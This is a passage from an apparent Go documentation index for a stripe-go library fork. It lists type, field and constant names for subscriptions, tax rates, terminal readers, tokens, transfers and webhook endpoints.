PendingInvoiceItemInterval *SubscriptionPendingInvoiceItemIntervalParams + Plan *string + PromotionCode *string + ProrationBehavior *string + ProrationDate *int64 + Quantity *int64 + TransferData *SubscriptionTransferDataParams + TrialEnd *int64 + TrialEndNow *bool + TrialFromPlan *bool + TrialPeriodDays *int64 + func (p *SubscriptionParams) AppendTo(body *form.Values, keyParts []string) + type SubscriptionPauseCollection struct + Behavior SubscriptionPauseCollectionBehavior + ResumesAt int64 + type SubscriptionPauseCollectionBehavior string + const SubscriptionPauseCollectionBehaviorKeepAsDraft + const SubscriptionPauseCollectionBehaviorMarkUncollectible + const SubscriptionPauseCollectionBehaviorVoid + type SubscriptionPauseCollectionParams struct + Behavior *string + ResumesAt *int64 + type SubscriptionPaymentBehavior string + const SubscriptionPaymentBehaviorAllowIncomplete + const SubscriptionPaymentBehaviorErrorIfIncomplete + const SubscriptionPaymentBehaviorPendingIfIncomplete + type SubscriptionPendingInvoiceItemInterval struct + Interval SubscriptionPendingInvoiceItemIntervalInterval + IntervalCount int64 + type SubscriptionPendingInvoiceItemIntervalInterval string + const SubscriptionPendingInvoiceItemIntervalIntervalDay + const SubscriptionPendingInvoiceItemIntervalIntervalMonth + const SubscriptionPendingInvoiceItemIntervalIntervalWeek + const SubscriptionPendingInvoiceItemIntervalIntervalYear + type SubscriptionPendingInvoiceItemIntervalParams struct + Interval *string + IntervalCount *int64 + type SubscriptionPendingUpdate struct + BillingCycleAnchor int64 + ExpiresAt int64 + SubscriptionItems []*SubscriptionItem + TrialEnd int64 + TrialFromPlan bool + type SubscriptionProrationBehavior string + const SubscriptionProrationBehaviorAlwaysInvoice + const SubscriptionProrationBehaviorCreateProrations + const SubscriptionProrationBehaviorNone + type SubscriptionSchedule struct + CanceledAt int64 + CompletedAt int64 + Created int64 + CurrentPhase *SubscriptionScheduleCurrentPhase + Customer *Customer + DefaultSettings *SubscriptionScheduleDefaultSettings + EndBehavior SubscriptionScheduleEndBehavior + ID string + Livemode bool + Metadata map[string]string + Object string + Phases []*SubscriptionSchedulePhase + ReleasedSubscription *Subscription + Status SubscriptionScheduleStatus + Subscription *Subscription + func (s *SubscriptionSchedule) UnmarshalJSON(data []byte) error + type SubscriptionScheduleCancelParams struct + InvoiceNow *bool + Prorate *bool + type SubscriptionScheduleCurrentPhase struct + EndDate int64 + StartDate int64 + type SubscriptionScheduleDefaultSettings struct + ApplicationFeePercent float64 + AutomaticTax *SubscriptionAutomaticTax + BillingCycleAnchor SubscriptionSchedulePhaseBillingCycleAnchor + BillingThresholds *SubscriptionBillingThresholds + CollectionMethod SubscriptionCollectionMethod + DefaultPaymentMethod *PaymentMethod + InvoiceSettings *SubscriptionScheduleInvoiceSettings + TransferData *SubscriptionTransferData + type SubscriptionScheduleDefaultSettingsParams struct + ApplicationFeePercent *float64 + AutomaticTax *SubscriptionAutomaticTaxParams + BillingCycleAnchor *string + BillingThresholds *SubscriptionBillingThresholdsParams + CollectionMethod *string + DefaultPaymentMethod *string + InvoiceSettings *SubscriptionScheduleInvoiceSettingsParams + TransferData *SubscriptionTransferDataParams + type SubscriptionScheduleEndBehavior string + const SubscriptionScheduleEndBehaviorCancel + const SubscriptionScheduleEndBehaviorRelease + type SubscriptionScheduleInvoiceSettings struct + DaysUntilDue int64 + type SubscriptionScheduleInvoiceSettingsParams struct + DaysUntilDue *int64 + type SubscriptionScheduleList struct + Data []*SubscriptionSchedule + type SubscriptionScheduleListParams struct + CanceledAt int64 + CanceledAtRange *RangeQueryParams + CompletedAt int64 + CompletedAtRange *RangeQueryParams + Created int64 + CreatedRange *RangeQueryParams + Customer string + ReleasedAt int64 + ReleasedAtRange *RangeQueryParams + Scheduled *bool + type SubscriptionScheduleParams struct + Customer *string + DefaultSettings *SubscriptionScheduleDefaultSettingsParams + EndBehavior *string + FromSubscription *string + Phases []*SubscriptionSchedulePhaseParams + ProrationBehavior *string + StartDate *int64 + StartDateNow *bool + func (p *SubscriptionScheduleParams) AppendTo(body *form.Values, keyParts []string) + type SubscriptionSchedulePhase struct + AddInvoiceItems []*SubscriptionSchedulePhaseAddInvoiceItem + ApplicationFeePercent float64 + AutomaticTax *SubscriptionAutomaticTax + BillingCycleAnchor SubscriptionSchedulePhaseBillingCycleAnchor + BillingThresholds *SubscriptionBillingThresholds + CollectionMethod SubscriptionCollectionMethod + Coupon *Coupon + DefaultPaymentMethod *PaymentMethod + DefaultTaxRates []*TaxRate + EndDate int64 + InvoiceSettings *SubscriptionScheduleInvoiceSettings + Items []*SubscriptionSchedulePhaseItem + StartDate int64 + TransferData *SubscriptionTransferData + TrialEnd int64 + type SubscriptionSchedulePhaseAddInvoiceItem struct + Price *Price + Quantity int64 + TaxRates []*TaxRate + type SubscriptionSchedulePhaseAddInvoiceItemParams struct + Price *string + PriceData *InvoiceItemPriceDataParams + Quantity *int64 + TaxRates []*string + type SubscriptionSchedulePhaseAddInvoiceItemPriceDataParams struct + Currency *string + Product *string + Recurring *SubscriptionSchedulePhaseAddInvoiceItemPriceDataRecurringParams + TaxBehavior *string + UnitAmount *int64 + UnitAmountDecimal *float64 + type SubscriptionSchedulePhaseAddInvoiceItemPriceDataRecurringParams struct + AggregateUsage *string + Interval *string + IntervalCount *int64 + TrialPeriodDays *int64 + UsageType *string + type SubscriptionSchedulePhaseAutomaticTaxParams struct + Enabled *bool + type SubscriptionSchedulePhaseBillingCycleAnchor string + const SubscriptionSchedulePhaseBillingCycleAnchorAutomatic + const SubscriptionSchedulePhaseBillingCycleAnchorPhaseStart + type SubscriptionSchedulePhaseItem struct + BillingThresholds *SubscriptionItemBillingThresholds + Plan *Plan + Price *Price + Quantity int64 + TaxRates []*TaxRate + type SubscriptionSchedulePhaseItemParams struct + BillingThresholds *SubscriptionItemBillingThresholdsParams + Plan *string + Price *string + PriceData *SubscriptionItemPriceDataParams + Quantity *int64 + TaxRates []*string + type SubscriptionSchedulePhaseParams struct + AddInvoiceItems []*SubscriptionSchedulePhaseAddInvoiceItemParams + ApplicationFeePercent *float64 + AutomaticTax *SubscriptionSchedulePhaseAutomaticTaxParams + BillingCycleAnchor *string + BillingThresholds *SubscriptionBillingThresholdsParams + CollectionMethod *string + Coupon *string + DefaultPaymentMethod *string + DefaultTaxRates []*string + EndDate *int64 + InvoiceSettings *SubscriptionScheduleInvoiceSettingsParams + Items []*SubscriptionSchedulePhaseItemParams + Iterations *int64 + ProrationBehavior *string + StartDate *int64 + TransferData *SubscriptionTransferDataParams + Trial *bool + TrialEnd *int64 + type SubscriptionScheduleReleaseParams struct + PreserveCancelDate *bool + type SubscriptionScheduleStatus string + const SubscriptionScheduleStatusActive + const SubscriptionScheduleStatusCanceled + const SubscriptionScheduleStatusCompleted + const SubscriptionScheduleStatusNotStarted + const SubscriptionScheduleStatusReleased + type SubscriptionStatus string + const SubscriptionStatusActive + const SubscriptionStatusAll + const SubscriptionStatusCanceled + const SubscriptionStatusIncomplete + const SubscriptionStatusIncompleteExpired + const SubscriptionStatusPastDue + const SubscriptionStatusTrialing + const SubscriptionStatusUnpaid + type SubscriptionTransferData struct + AmountPercent float64 + Destination *Account + type SubscriptionTransferDataParams struct + AmountPercent *float64 + Destination *string + type SupportedBackend string + type TaxCode struct + Description string + ID string + Name string + Object string + func (t *TaxCode) UnmarshalJSON(data []byte) error + type TaxCodeList struct + Data []*TaxCode + type TaxCodeListParams struct + type TaxCodeParams struct + type TaxID struct + Country string + Created int64 + Customer *Customer + Deleted bool + ID string + Livemode bool + Object string + Type TaxIDType + Value string + Verification *TaxIDVerification + func (t *TaxID) UnmarshalJSON(data []byte) error + type TaxIDList struct + Data []*TaxID + type TaxIDListParams struct + Customer *string + type TaxIDParams struct + Customer *string + Type *string + Value *string + type TaxIDType string + const TaxIDTypeAETRN + const TaxIDTypeAUABN + const TaxIDTypeBRCNPJ + const TaxIDTypeBRCPF + const TaxIDTypeCABN + const TaxIDTypeCAGSTHST + const TaxIDTypeCAPSTBC + const TaxIDTypeCAPSTMB + const TaxIDTypeCAPSTSK + const TaxIDTypeCAQST + const TaxIDTypeCHVAT + const TaxIDTypeCLTIN + const TaxIDTypeESCIF + const TaxIDTypeEUVAT + const TaxIDTypeGBVAT + const TaxIDTypeHKBR + const TaxIDTypeIDNPWP + const TaxIDTypeILVAT + const TaxIDTypeINGST + const TaxIDTypeJPCN + const TaxIDTypeJPRN + const TaxIDTypeKRBRN + const TaxIDTypeLIUID + const TaxIDTypeMXRFC + const TaxIDTypeMYFRP + const TaxIDTypeMYITN + const TaxIDTypeMYSST + const TaxIDTypeNOVAT + const TaxIDTypeNZGST + const TaxIDTypeRUINN + const TaxIDTypeRUKPP + const TaxIDTypeSAVAT + const TaxIDTypeSGGST + const TaxIDTypeSGUEN + const TaxIDTypeTHVAT + const TaxIDTypeTWVAT + const TaxIDTypeUSEIN + const TaxIDTypeUnknown + const TaxIDTypeZAVAT + type TaxIDVerification struct + Status TaxIDVerificationStatus + VerifiedAddress string + VerifiedName string + type TaxIDVerificationStatus string + const TaxIDVerificationStatusPending + const TaxIDVerificationStatusUnavailable + const TaxIDVerificationStatusUnverified + const TaxIDVerificationStatusVerified + type TaxRate struct + Active bool + Country string + Created int64 + Description string + DisplayName string + ID string + Inclusive bool + Jurisdiction string + Livemode bool + Metadata map[string]string + Object string + Percentage float64 + State string + TaxType TaxRateTaxType + func (t *TaxRate) UnmarshalJSON(data []byte) error + type TaxRateList struct + Data []*TaxRate + type TaxRateListParams struct + Active *bool + Created *int64 + CreatedRange *RangeQueryParams + Inclusive *bool + type TaxRateParams struct + Active *bool + Country *string + Description *string + DisplayName *string + Inclusive *bool + Jurisdiction *string + Percentage *float64 + State *string + TaxType *string + type TaxRateTaxType string + const TaxRateTaxTypeGST + const TaxRateTaxTypeHST + const TaxRateTaxTypePST + const TaxRateTaxTypeQST + const TaxRateTaxTypeSalesTax + const TaxRateTaxTypeVAT + type TerminalConnectionToken struct + Location string + Object string + Secret string + type TerminalConnectionTokenParams struct + Location string + type TerminalLocation struct + Address *AccountAddressParams + Deleted bool + DisplayName string + ID string + Livemode bool + Metadata map[string]string + Object string + type TerminalLocationList struct + Data []*TerminalLocation + type TerminalLocationListParams struct + type TerminalLocationParams struct + Address *AccountAddressParams + DisplayName *string + type TerminalReader struct + Deleted bool + DeviceSwVersion string + DeviceType TerminalReaderDeviceType + ID string + IPAddress string + Label string + Livemode bool + Location string + Metadata map[string]string + Object string + SerialNumber string + Status string + type TerminalReaderDeviceType string + const TerminalReaderDeviceTypeBBPOSChipper2X + const TerminalReaderDeviceTypeVerifoneP400 + type TerminalReaderGetParams struct + type TerminalReaderList struct + Data []*TerminalReader + Location *string + Status *string + type TerminalReaderListParams struct + DeviceType *string + Location *string + Status *string + type TerminalReaderParams struct + Label *string + Location *string + RegistrationCode *string + type Token struct + BankAccount *BankAccount + Card *Card + ClientIP string + Created int64 + Email string + ID string + Livemode bool + Type TokenType + Used bool + type TokenAccountParams struct + BusinessType *string + Company *AccountCompanyParams + Individual *PersonParams + TOSShownAndAccepted *bool + type TokenCVCUpdateParams struct + CVC *string + type TokenParams struct + Account *TokenAccountParams + BankAccount *BankAccountParams + CVCUpdate *TokenCVCUpdateParams + Card *CardParams + Customer *string + Email *string + PII *PIIParams + Person *PersonParams + type TokenType string + const TokenTypeAccount + const TokenTypeBankAccount + const TokenTypeCVCUpdate + const TokenTypeCard + const TokenTypePII + type Topup struct + Amount int64 + ArrivalDate int64 + BalanceTransaction *BalanceTransaction + Created int64 + Currency Currency + Description string + ExpectedAvailabilityDate int64 + FailureCode string + FailureMessage string + ID string + Livemode bool + Metadata map[string]string + Object string + Source *PaymentSource + StatementDescriptor string + Status TopupStatus + TransferGroup string + func (t *Topup) UnmarshalJSON(data []byte) error + type TopupList struct + Data []*Topup + type TopupListParams struct + Amount *int64 + AmountRange *RangeQueryParams + Created *int64 + CreatedRange *RangeQueryParams + Status *string + type TopupParams struct + Amount *int64 + Currency *string + Description *string + Source *SourceParams + StatementDescriptor *string + TransferGroup *string + func (p *TopupParams) SetSource(sp interface{}) error + type TopupStatus string + const TopupStatusCanceled + const TopupStatusFailed + const TopupStatusPending + const TopupStatusReversed + const TopupStatusSucceeded + type Transfer struct + Amount int64 + AmountReversed int64 + BalanceTransaction *BalanceTransaction + Created int64 + Currency Currency + Description string + Destination *TransferDestination + DestinationPayment *Charge + ID string + Livemode bool + Metadata map[string]string + Object string + Reversals *ReversalList + Reversed bool + SourceTransaction *BalanceTransactionSource + SourceType TransferSourceType + TransferGroup string + func (t *Transfer) UnmarshalJSON(data []byte) error + type TransferDestination struct + Account *Account + ID string + func (t *TransferDestination) UnmarshalJSON(data []byte) error + type TransferList struct + Data []*Transfer + type TransferListParams struct + Created *int64 + CreatedRange *RangeQueryParams + Destination *string + TransferGroup *string + type TransferParams struct + Amount *int64 + Currency *string + Description *string + Destination *string + SourceTransaction *string + SourceType *string + TransferGroup *string + type TransferSourceType string + const TransferSourceTypeBankAccount + const TransferSourceTypeCard + const TransferSourceTypeFPX + type UsageRecord struct + ID string + Livemode bool + Object string + Quantity int64 + SubscriptionItem string + Timestamp int64 + type UsageRecordParams struct + Action *string + Quantity *int64 + SubscriptionItem *string + Timestamp *int64 + type UsageRecordSummary struct + ID string + Invoice string + Livemode bool + Object string + Period *Period + SubscriptionItem string + TotalUsage int64 + type UsageRecordSummaryList struct + Data []*UsageRecordSummary + type UsageRecordSummaryListParams struct + SubscriptionItem *string + type VerificationDocumentDetailsCode string + const VerificationDocumentDetailsCodeDocumentCorrupt + const VerificationDocumentDetailsCodeDocumentFailedCopy + const VerificationDocumentDetailsCodeDocumentFailedGreyscale + const VerificationDocumentDetailsCodeDocumentFailedOther + const VerificationDocumentDetailsCodeDocumentFailedTestMode + const VerificationDocumentDetailsCodeDocumentFraudulent + const VerificationDocumentDetailsCodeDocumentIDCountryNotSupported + const VerificationDocumentDetailsCodeDocumentIDTypeNotSupported + const VerificationDocumentDetailsCodeDocumentManipulated + const VerificationDocumentDetailsCodeDocumentMissingBack + const VerificationDocumentDetailsCodeDocumentMissingFront + const VerificationDocumentDetailsCodeDocumentNotReadable + const VerificationDocumentDetailsCodeDocumentNotUploaded + const VerificationDocumentDetailsCodeDocumentTooLarge + type VerificationFieldsList struct + AdditionalFields []string + Minimum []string + type WebhookEndpoint struct + APIVersion string + Application string + Connect bool + Created int64 + Deleted bool + Description string + EnabledEvents []string + ID string + Livemode bool + Metadata map[string]string + Object string + Secret string + Status string + URL string + func (w *WebhookEndpoint) UnmarshalJSON(data []byte) error + type WebhookEndpointList struct + Data []*WebhookEndpoint + type WebhookEndpointListParams struct + Created *int64 + CreatedRange *RangeQueryParams + type WebhookEndpointParams struct + APIVersion *string + Connect *bool + Description *string + Disabled *bool + EnabledEvents []*string + URL *string Other modules containing this package github.com/HRInnovationLab/stripe-go